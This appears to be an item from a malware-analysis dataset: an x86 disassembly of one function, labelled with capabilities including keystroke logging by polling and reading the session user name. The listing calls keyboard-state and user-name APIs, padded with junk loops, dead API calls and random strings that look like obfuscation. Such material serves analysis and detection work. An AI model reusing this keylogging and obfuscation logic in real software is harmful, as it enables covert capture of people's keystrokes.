Function at 0x10035039
Capabilities:
Allocate thread local storage
Check os version
Get file size
Get session user name
Log keystrokes
Log keystrokes via polling

Disassembly:
mov eax, 0x1005a38d
call fcn.10058c78
sub esp, 0x2a8
push ebx
xor ebx, ebx
mov dword [ebp - 0x38], 0xa6847dfa
push esi
mov byte [ebp - 0x15], bl
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x1ec], ebx
cmp byte [ebp - 0x15], bl
je 0x1003507b
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_UnionRect]
mov dword [ebp - 0x1c], 0x2be4
cmp dword [ebp - 0x1c], 0x2ee8
jle 0x100350d1
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov ecx, edi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x3c], ebx
shl esi, cl
mov eax, esi
mov ecx, 0x10074f78
and eax, ebx
cdq
push edx
push eax
call fcn.10009792
inc ebx
cmp ebx, 0x6ac9
jl 0x1003509c
mov esi, dword [ebp - 0x34]
inc edi
push 0
pop ebx
cmp edi, 0x1f26
jl 0x10035092
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x1dce
jl 0x10035090
mov byte [ebp - 0x15], bl
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x1c], 0x28de
jge 0x100350ef
mov edx, str.uachkqcj_jlv_zas_ksfdm_djsqlcxwb_jlzqhgmz_yxhcn_juslfxble
mov ecx, 0x10074f78
call fcn.1000cd04
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x15], 0
je 0x10035119
push ebx
push 0x1265
push 0x1ea5
push 0x20df
push 0x733
push 0x77b
call dword [sym.imp.GDI32.dll_PatBlt]
mov dword [ebp - 0x28], 0x3dd0
cmp dword [ebp - 0x28], 0x419f
jle 0x1003518b
mov esi, ebx
mov edi, ebx
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov eax, edi
cdq
idiv ecx
mov eax, esi
mov ecx, edx
shl eax, cl
lea ecx, [ebp - 0x268]
cdq
push edx
push eax
call fcn.10001335
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10035155
mov eax, dword [eax]
push eax
call fcn.100420be
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x268]
call fcn.100015c8
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x2907
jl 0x10035132
inc edi
cmp edi, 0x14ab
jl 0x1003512d
inc esi
cmp esi, 0x36d7
jl 0x1003512b
mov dword [ebp - 0x1c], 0x5f76
cmp dword [ebp - 0x28], 0x3ab4
jge 0x100351a6
push str.smdzg_lgwhtstz_fzvfoodi_ldq_sbbj_vbeholpn_ffv_zrizwu_rcoj_vpwrx_vauoaw_azw_fpyucxnl_kvk
call fcn.100420be
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], ebx
jmp 0x100351e5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x4c], 0x38a1f949
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x100351d7
mov dword [ebp - 0x20], ebx
jmp 0x100351fd
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x98], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x100351f0
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10035213
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov eax, dword [ebp - 0x98]
xor edx, edx
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x90]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, 5
setge al
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x4c]
setle cl
xor edx, edx
cmp ecx, eax
setg dl
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x28], ebx
je 0x10035288
cmp dword [ebp - 0x4c], ebx
je 0x10035288
xor ecx, ecx
inc ecx
jmp 0x1003528a
mov ecx, ebx
mov eax, dword [ebp - 0x4c]
sub ecx, eax
inc ecx
jne 0x10035295
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x94]
xor edx, edx
test eax, eax
mov eax, dword [ebp - 0x94]
push 0x6f
sets dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setle cl
xor edx, edx
imul ecx, ecx, 0xfff8
add ecx, eax
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov dword [ebp - 0x70], 0xd036802
pop eax
setle dl
mov byte [ebp - 0x6c], bl
mov dword [ebp - 0x94], edx
mov dword [ebp - 0x6b], 0x3c360325
mov dword [ebp - 0x67], 0x11b0680
mov dword [ebp - 0x63], 0x50d0430
mov byte [ebp - 0x5f], 0xd
mov word [ebp - 0x144], ax
mov dword [ebp - 0x24], 0x82062403
mov dword [ebp - 0x30], 0x5f65
cmp dword [ebp - 0x30], 0x6016
jle 0x1003536c
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x1c], 0x521a
mov dword [ebp - 0x34], eax
or eax, edi
lea ecx, [ebp - 0x298]
cdq
push edx
push eax
call fcn.10001335
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10035338
mov eax, dword [eax]
push eax
call fcn.100420be
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x298]
call fcn.100015c8
mov eax, dword [ebp - 0x34]
add eax, esi
dec dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
jne 0x1003531e
inc esi
cmp esi, 0x271a
jl 0x10035312
inc edi
cmp edi, 0x510b
jl 0x10035310
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x30], 0x5ce4
jge 0x10035383
push str.uvzwlvzf_hnwfkfr_ibnari_psljx_nezjxzdw_zdo_zgaecovav_ttnbar_praul_muojfy_sazu
call fcn.100420be
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x34], 0xb2f67ab6
mov dword [ebp - 0x34], 0x37d
cmp dword [ebp - 0x34], 0x697
jle 0x100353f3
push 0x172d
push 0xbb3
push 0xd76
push 0x24e7
push ebx
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, ebx
mov eax, esi
shl eax, cl
mov ecx, 0x10074f78
or eax, edi
cdq
push edx
push eax
call fcn.10009792
inc ebx
cmp ebx, 0x4dd7
jl 0x100353c0
inc esi
push 0
pop ebx
cmp esi, 0x2f4
jl 0x100353bd
inc edi
cmp edi, 0x2cd3
jl 0x100353bb
mov dword [ebp - 4], 6
cmp dword [ebp - 0x34], 0x2b8
jge 0x10035412
mov edx, str.aunlqwes_bwq_onw_wwl_omviuolkc_kdny_dixw_frzcqvq_ahwc_iuvid_xdlsfq_vnzafmhg_jwhtfj_ttpmwxeo
mov ecx, 0x10074f78
call fcn.1000cd04
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1003544e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1f8], 0xbf0a6441
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x1003543d
mov dword [ebp - 0x24], ebx
jmp 0x1003546c
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10035469
push ebx
call dword [sym.imp.GDI32.dll_GetObjectType]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x11
jg 0x10035459
mov dword [ebp - 0x28], 0xb590
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setge dl
imul edx, dword [ebp - 0x24]
test edx, edx
jne 0x10035491
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
add eax, 0x796a0b59
jne 0x1003549e
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
jne 0x100354bd
cmp dword [ebp - 0x24], ebx
je 0x100354bd
xor eax, eax
inc eax
jmp 0x100354bf
mov eax, ebx
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp eax, 2
setg cl
imul edx, ecx
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], ebx
je 0x100354fa
mov dword [ebp - 0x2c], 1
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
jmp 0x1003552b
mov dword [ebp - 0x28], ebx
jmp 0x10035525
mov dword [ebp - 0x24], ebx
jmp 0x1003551d
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003551a
push ebx
push ebx
push 0xc1e
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10035504
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x15
jle 0x100354ff
mov dword [ebp - 0x44], 0x4fb9
cmp dword [ebp - 0x44], 0x5082
mov dword [ebp - 0x48], str.devsbeilq_udoktftx_dxm_uxhwmrkq_olqkhxhsc_nekbdcc_xcwa_yhtbsypav_qglom_ijjqwwnkn_mleqj
jle 0x1003559c
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov edi, ebx
add eax, esi
lea ecx, [ebp - 0x250]
or eax, edi
cdq
push edx
push eax
call fcn.10001335
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10035567
mov eax, dword [eax]
push eax
call fcn.100420be
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x250]
call fcn.100015c8
mov eax, dword [ebp - 0x1c]
inc edi
cmp edi, 0x6b2
jl 0x1003554b
inc esi
cmp esi, 0x4ea7
jl 0x10035549
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x1a6f
jl 0x10035547
push 2
pop esi
mov dword [ebp - 0x34], ebx
mov edi, 0xffff
mov dword [ebp - 0x28], esi
cmp esi, 0x12
jae 0x10035ca8
mov dword [ebp - 0x1c], 0x5c0a
cmp dword [ebp - 0x1c], 0x5cb0
jle 0x100355fe
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10074f78
xor eax, esi
cdq
push edx
push eax
call fcn.10009792
inc edi
cmp edi, 0x8057
jl 0x100355c7
inc esi
cmp esi, 0x7491
jl 0x100355c5
push ebx
push 0x2022
call dword [sym.imp.USER32.dll_GetWindowInfo]
mov esi, dword [ebp - 0x28]
mov edi, 0xffff
mov dword [ebp - 0x20], 0xf6af1124
mov dword [ebp - 4], 8
cmp dword [ebp - 0x1c], 0x5b5b
jge 0x10035624
mov edx, str.weedfomhd_hsbdqye_smbo_dnxjnfpwg_uvkdoz_rsodmypbe_ksj_prhg_miu_oedaxo_gnsrrba_pwdfsfp
mov ecx, 0x10074f78
call fcn.1000cd04
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x20], 0xffffffea
cmp dword [ebp - 0x20], 3
jge 0x100358bb
push 4
lea ecx, [ebp - 0x1d0]
call fcn.1000995a
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x40], 0x2e46
cmp dword [ebp - 0x40], 0x2f5e
jle 0x100356d9
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov ecx, esi
mov edi, ebx
shl eax, cl
mov dword [ebp - 0x2c], eax
mov esi, eax
mov ecx, ebx
mov dword [ebp - 0x30], ebx
mov eax, edi
cdq
idiv ecx
mov eax, esi
mov ecx, edx
sar eax, cl
mov ecx, 0x10074f78
cdq
push edx
push eax
call fcn.10009792
mov ecx, dword [ebp - 0x30]
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x45e7
jl 0x10035684
inc edi
cmp edi, 0x6fae
jl 0x1003567f
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x615c
jl 0x10035674
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x4c22
jl 0x1003566f
mov esi, dword [ebp - 0x28]
mov edi, 0xffff
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x40], 0x2aa4
jge 0x10035748
mov edx, str.sgatc_utbmbm_xtvd_idinv_uappfubwt_cjqspskn_wskwbu_tjcztdvq_pcn_lgmiby_etjzxlsj_imjywzz_ywrsyt
mov ecx, 0x10074f78
call fcn.1000cd04
jmp 0x10035748
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x40], 0x7502
cmp dword [ebp - 0x40], 0x761c
jle 0x10035790
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x10074f78
cdq
push edx
push eax
call fcn.10009792
inc edi
cmp edi, 0x66c
jl 0x10035763
inc esi
cmp esi, 0x848
jl 0x10035761
mov esi, dword [ebp - 0x28]
mov edi, 0xffff
mov dword [ebp - 0x1c], ebx
jmp 0x100357a8
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1d0]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10035795
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x40], 0x72ed
jge 0x100357f0
mov edx, str.liza_zdp_qlerzvy_hpzj
mov ecx, 0x10074f78
call fcn.1000cd04
jmp 0x100357f0
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x30], 3
cmp dword [ebp - 0x30], ebx
jl 0x10035895
push 1
lea ecx, [ebp - 0x114]
call fcn.1000995a
mov dword [ebp - 0x1c], ebx
jmp 0x1003582c
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x114]
mov dword [eax + ecx*4], 0x29ea4144
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10035819
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10035846
push 0x2703
call dword [sym.imp.USER32.dll_GetSysColor]
mov eax, dword [ebp - 0x114]
mov dword [eax], 3
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10035862
push ebx
call dword [sym.imp.USER32.dll_SetKeyboardState]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10035877
push ebx
push 0x1639
call dword [sym.imp.USER32.dll_DrawFocusRect]
mov eax, dword [ebp - 0x114]
dec dword [eax]
jns 0x10035852
lea ecx, [ebp - 0x114]
call fcn.100099dd
dec dword [ebp - 0x30]
jns 0x10035807
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100358a4
call dword [sym.imp.USER32.dll_DestroyCaret]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d0]
call fcn.100099dd
inc dword [ebp - 0x20]
jmp 0x1003562f
movzx eax, byte [ebp - 0x70]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10035abb
movzx ecx, byte [ebp + esi - 0x70]
dec esi
mov dword [ebp - 0x20], 0x36444696
add esi, ecx
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x108], 0xffffffff
mov dword [ebp - 0x104], 0xffffffff
lea eax, [ecx + 1]
mov dword [ebp - 0x100], 0xffffffff
mov dword [ebp - 0xfc], 0xffffffff
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], ebx
jmp 0x1003592f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1f4], 0x33c017f2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003591e
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x108], eax
mov edx, dword [ebp - 0x24]
add edx, eax
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x24]
je 0x1003596a
cmp dword [ebp - 0x108], ebx
je 0x1003596a
xor ecx, ecx
inc ecx
jmp 0x1003596c
mov ecx, ebx
mov eax, dword [ebp - 0x20]
add ecx, 0x395e2de4
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
setne dl
mov dword [ebp - 0x2c], edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, dword [ebp - 0x2c]
setge al
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x3c], 0xb002
jl 0x10035a05
mov dword [ebp - 0x2c], 0xb400765e
mov dword [ebp - 0x24], ebx
jmp 0x100359f4
mov dword [ebp - 0x2c], 0xff68
mov dword [ebp - 0x20], 1
jmp 0x100359eb
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100359df
push ebx
push ebx
push 0x9d1
call dword [sym.imp.USER32.dll_SetPropA]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x108], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff7
jle 0x100359c9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x35
jl 0x100359b9
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
jmp 0x10035ca0
mov dword [ebp - 0x158], edi
mov dword [ebp - 0x154], edi
mov dword [ebp - 0x150], edi
mov dword [ebp - 0x14c], edi
cmp dword [ebp - 0x20], ebx
je 0x10035a7c
push 2
lea ecx, [ebp - 0x1a0]
call fcn.1000995a
mov dword [ebp - 0x1c], ebx
jmp 0x10035a47
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1a0]
mov dword [eax + ecx*4], 0x12ef314d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10035a34
cmp dword [ebp - 0x154], ebx
je 0x10035a62
cmp dword [ebp - 0x14c], ebx
je 0x10035a62
xor ecx, ecx
inc ecx
jmp 0x10035a64
mov ecx, ebx
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
lea ecx, [ebp - 0x1a0]
call fcn.100099dd
jmp 0x10035ca0
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10035aa1
push 0x1725
push 0x294
push 0x1879
push 0x30
push 0x1450
call dword [sym.imp.GDI32.dll_IntersectClipRect]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10035ca0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
jmp 0x10035ca0
push 4
lea ecx, [ebp - 0x164]
call fcn.1000995a
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x40], 0x2ef5
cmp dword [ebp - 0x40], 0x316a
jle 0x10035b32
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
lea eax, [ebx + esi]
mov ecx, 0x10074f78
xor eax, edi
cdq
push edx
push eax
call fcn.10009792
inc ebx
cmp ebx, 0x50db
jl 0x10035aed
inc esi
push 0
pop ebx
cmp esi, 0x1b84
jl 0x10035aea
inc edi
cmp edi, 0x514
jl 0x10035ae8
push ebx
push ebx
push 0x247
call dword [sym.imp.USER32.dll_InvalidateRect]
mov esi, dword [ebp - 0x28]
mov edi, 0xffff
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x40], 0x2c85
jge 0x10035b74
mov edx, str.aeasmhqyd_xordc_snqjdtmtj_rujfy_cymuqx_hpir_cihos_sfkawm_cuhkwbnqq_tdbqsvhpt_jtm_ykw_zxn
mov ecx, 0x10074f78
call fcn.1000cd04
jmp 0x10035b74
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], ebx
jmp 0x10035b93
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x164]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10035b80
mov dword [ebp - 0x20], ebx
jmp 0x10035baf
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x238], 0x2fdcba86
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10035b9e
mov ecx, dword [ebp - 0x164]
mov dword [ecx + 8], ebx
cmp dword [ebp - 0x24], ebx
jne 0x10035bc6
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ecx + 8]
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0x5fac
mov dword [ebp - 0x234], eax
sete cl
imul ecx, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x24]
sub ecx, 0x91f6
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x24]
jne 0x10035c0f
cmp dword [ebp - 0x1c], ebx
jne 0x10035c0f
mov eax, ebx
jmp 0x10035c12
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x164]
or dword [ebp - 4], 0xffffffff
call fcn.100099dd
movzx edx, byte [ebp + esi - 0x6f]
mov eax, esi
sub eax, dword [ebp - 0x34]
movzx eax, byte [ebp + eax - 0x72]
movzx ecx, word [ebp + eax*2 - 0x148]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x70]
add ecx, edx
mov word [ebp + eax*2 - 0x148], cx
mov dword [ebp - 0x1c], 0xa8eac8b1
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10035c78
push ebx
push 0x9f3
push 0x731
push 0x146b
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov dword [ebp - 0x1c], 0xfffffff0
jmp 0x10035c97
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10035c94
push 1
push ebx
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffa
je 0x10035c81
mov dword [ebp - 0x34], ebx
add esi, 2
jmp 0x100355a7
cmp dword [ebp - 0x44], 0x4cac
jge 0x10035cba
push dword [ebp - 0x48]
call fcn.100420be
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x17c]
push 4
call fcn.1000995a
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x1c], ebx
jmp 0x10035cf1
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x17c]
mov dword [eax + ecx*4], 0xfffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10035cde
push 3
mov dword [ebp - 0x28], ebx
pop edx
jmp 0x10035d61
mov dword [ebp - 0x20], 0x1bd97a88
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], ebx
jl 0x10035d5e
mov dword [ebp - 0x1c], 1
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10035d29
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 3
pop edx
mov dword [ebp - 0x1c], ebx
jmp 0x10035d54
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], ebx
jl 0x10035d51
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x30]
jns 0x10035d3d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x10035d2e
dec dword [ebp - 0x20]
jns 0x10035d0e
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jle 0x10035cff
lea ecx, [ebp - 0x17c]
call fcn.100099dd
xor eax, eax
mov dword [ebp - 0x1d4], 7
mov word [ebp - 0x13a], ax
lea ecx, [ebp - 0x1e8]
mov word [ebp - 0x1e8], ax
lea eax, [ebp - 0x148]
push eax
mov dword [ebp - 0x1d8], ebx
call fcn.10009d6f
push 9
mov dword [ebp - 4], 0x14
mov eax, ebx
pop edi
mov dword [ebp - 0x2c], eax
cmp eax, 8
jae 0x10036223
mov dword [ebp - 0x48], 0x7dfa860b
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0x7d04
cmp dword [ebp - 0x1c], 0x7fa5
jle 0x10035e2e
push ebx
push 0x1bc0
call dword [sym.imp.GDI32.dll_SetBkColor]
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov edi, esi
mov dword [ebp - 0x40], 0x6ec7
mov dword [ebp - 0x44], edi
mov esi, edi
mov edi, 0x2b92
mov eax, esi
mov ecx, 0x10074f78
cdq
push edx
push eax
call fcn.10009792
dec esi
dec edi
jne 0x10035dfd
mov edi, dword [ebp - 0x44]
dec edi
dec dword [ebp - 0x40]
mov dword [ebp - 0x44], edi
jne 0x10035df6
mov esi, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x52f6
jl 0x10035dea
push 9
pop edi
mov dword [ebp - 0x3c], edi
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x1c], 0x7aeb
jge 0x10035e6b
mov edx, str.pjbedde_gfw_efrtsfpv_zrujy
mov ecx, 0x10074f78
call fcn.1000cd04
jmp 0x10035e6b
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x24], 0xca12
mov dword [ebp - 0x34], 0x4c0f
cmp dword [ebp - 0x34], 0x4d09
jle 0x10035ed2
mov esi, ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x44], 0x4241
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x10074f78
cdq
push edx
push eax
call fcn.10009792
inc edi
cmp edi, 0x4afe
jl 0x10035ea1
dec esi
dec dword [ebp - 0x44]
jne 0x10035e9f
mov esi, dword [ebp - 0x40]
inc esi
mov dword [ebp - 0x40], esi
cmp esi, 0x37f6
jl 0x10035e95
mov dword [ebp - 0x1c], ebx
jmp 0x10035ee8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10035ed7
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x34], 0x4b07
jge 0x10035f28
mov edx, str.qfcf_ucpgwnogj_mol_zfcoe_ieu_bmt_hzc_efvf_utmeyela_iuzd
mov ecx, 0x10074f78
call fcn.1000cd04
jmp 0x10035f28
mov dword [ebp - 4], 0x14
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], 2
push 9
pop edi
jg 0x10036210
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x44], 0x80f885bd
mov dword [ebp - 0x20], 0xdfe9
mov dword [ebp - 0x38], 0xd015b01d
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xa4]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xa4]
neg eax
neg eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x1c]
je 0x10036118
mov dword [ebp - 0x44], 0x868fdadf
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x1c], 0x3c62
cmp dword [ebp - 0x1c], 0x3ee0
jle 0x10036033
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov dword [ebp - 0x40], ebx
cdq
mov esi, ebx
idiv edi
mov edi, edx
mov eax, edi
mov ecx, ebx
and eax, esi
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x30], eax
xor eax, ecx
lea ecx, [ebp - 0x280]
cdq
push edx
push eax
call fcn.10001335
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10035fe3
mov eax, dword [eax]
push eax
call fcn.100420be
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x280]
call fcn.100015c8
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
inc ecx
mov dword [ebp - 0x44], ecx
cmp ecx, 0xb38
jl 0x10035fc9
inc esi
cmp esi, 0x1d63
jl 0x10035fbd
mov edi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0x40], edi
cmp edi, 0x1ff
jl 0x10035fb6
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x20cd
jl 0x10035fb1
push 9
pop edi
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa4], ecx
